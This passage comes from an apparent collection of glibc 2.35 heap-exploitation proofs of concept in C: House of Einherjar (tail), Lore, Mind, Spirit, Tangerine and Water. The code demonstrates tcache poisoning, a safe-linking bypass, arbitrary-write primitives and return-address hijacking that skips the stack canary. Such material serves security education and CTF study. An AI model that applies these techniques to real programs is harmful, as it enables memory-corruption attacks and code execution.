sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.35/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.35/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.35/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.35/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.35/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* 